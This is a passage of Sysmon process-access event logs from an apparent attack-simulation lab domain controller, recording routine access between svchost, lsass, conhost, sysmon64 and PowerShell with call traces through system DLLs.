C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.196\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.196","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.196\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.196","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.196\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.196","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.211\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 